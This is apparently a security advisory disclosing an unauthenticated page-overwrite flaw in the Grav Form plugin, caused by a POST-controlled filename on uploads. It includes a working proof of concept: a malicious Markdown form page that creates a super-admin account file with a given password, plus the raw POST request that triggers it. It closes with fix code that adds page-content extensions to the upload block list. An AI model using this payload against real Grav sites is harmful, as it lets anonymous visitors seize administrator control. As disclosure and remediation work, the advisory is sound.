Grav Form Plugin has an Anonymous Page Content Overwrite via Form File Upload filename Override

Summary

(Tested on Form 9.0.3 released on April, 28th)

The Form plugin's file upload handler at user/plugins/form/classes/Form.php:583 accepts a POST-supplied filename parameter ($filename = $post['filename'] ?? $upload['file']['name']) that overrides the original uploaded filename. The override passes through Utils::checkFilename(), which blocks only a narrow extension list (.php*, .htm*, .js, .exe). Markdown (.md) is not blocked.

A page's directory under user/pages/ contains its .md content file (e.g. default.md, form.md). When a form's file upload field has accept: ['*'] (or any policy that admits text files), an unauthenticated visitor can:

1. Upload arbitrary content with filename=form.md (or other page-content filenames),
2. Submit the form to trigger Form::copyFiles(), which overwrites the page's own .md file.

Details

Vulnerable code path

user/plugins/form/classes/Form.php:580-606 (in uploadFiles()):

$grav->fireEvent('onFormUploadSettings', new Event(['settings' => &$settings, 'post' => $post]));

$upload = json_decode(json_encode($this->normalizeFiles($_FILES['data'], $settings->name)), true);
$filename = $post['filename'] ?? $upload['file']['name'];           // ← POST-controlled
// ...
if (!Utils::checkFilename($filename)) {                              // ← extension blocklist only
    return ['status' => 'error', 'message' => 'Bad filename'];
}

Utils::checkFilename() (system/src/Grav/Common/Utils.php:980) blocks .., slashes, null bytes, leading/trailing dots, and the uploads_dangerous_extensions list. The default list contains: php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe. md is not on the list.

The MIME check (lines 627-654) uses Utils::getMimeByFilename($filename) against the blueprint's accept list. With accept: ['*'], all filenames pass.

After upload, the file is held in flash storage. When the form is submitted, Form::copyFiles() (user/plugins/form/classes/Form.php:1041-1074) calls $upload->moveTo($destination):

$destination = $upload->getDestination();   // ← determined at upload time:
                                            //   $destination = $page_dir . '/' . $filename
$folder = $filesystem->dirname($destination);
if (!is_dir($folder) && !@mkdir($folder, 0777, true) && !is_dir($folder)) { ... }
$upload->moveTo($destination);

moveTo() does not check whether $destination is an existing protected file — if form.md (the page's own content) already exists at the destination, it is overwritten.

A Grav page's .md file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.

PoC

Setup :

Any existing page with a form like this — a "generic upload" form is the realistic case:

---
title: Upload your file
form:
    name: upform
    fields:
        - {name: img, type: file, multiple: false, accept: ['*'], destination: 'self@'}
        - {name: notes, type: text}
    buttons:
        - {type: submit, value: Upload}
    process:
        - upload: true
        - display: thanks
---

1. Atacker uploads a malicious md file that replaces the form's md file. Lets say the form is under the path /upload.

---
title: Pwned
form:
    name: pwn
    fields:
        - {name: dummy, type: text}
    buttons:
        - {type: submit, value: Submit}
    process:
        - save:
            folder: '../accounts'
            filename: 'viaup.yaml'
            extension: yaml
            operation: create
            body: |
                state: enabled
                email: viaup@example.com
                fullname: Via Upload
                title: Admin
                access:
                  admin: { login: true, super: true }
                  site:  { login: true }
                hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq
        - display: thanks
---

(Hash above is bcrypt for PwnPass123!.)

2. Attacker accesses the new markdown file under the original path and loads the new markdown file GET /upload.
3. Attacker sends a form POST request to /upload and change the form_name to whatever the payload form name is. Keep in mind the nonce has to be valid.

POST /upload HTTP/1.1

------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[_json][img]"

[]
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[notes]"


------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__form-name__"

pwn
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__unique_form_id__"

8r7q1iwdnnmcgkohlbtj
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="form-nonce"

4e9417f0c7e89d1ab4e0dbe136ec78bd
------geckoformboundary44d7ad8deb57480098493877a35ad715--

4. Login as a newly created super admin user.

Impact

Grav pages that allows user to uploads any file (besides the ones in the blocklist) with the default self@ configuration is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin.

Remediation

Block sensitive page-content filenames at upload

In user/plugins/form/classes/Form.php, after Utils::checkFilename() succeeds, add a content-area-aware check:

// Block files that would overwrite Grav page content if uploaded into
// a page directory. Page templates are .md (Markdown) and .yaml/.yml
// (frontmatter overrides). Block both for safety.
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$pageContentExtensions = ['md', 'yaml', 'yml', 'json', 'twig'];
if (in_array($ext, $pageContentExtensions, true)) {
    return [
        'status'  => 'error',
        'message' => 'File type not allowed for upload (page content files are blocked)',
    ];
}

Add md, yaml, yml, json, twig, ini to the global security.uploads_dangerous_extensions list — these all carry executable semantics in Grav's runtime even though they are not "PHP".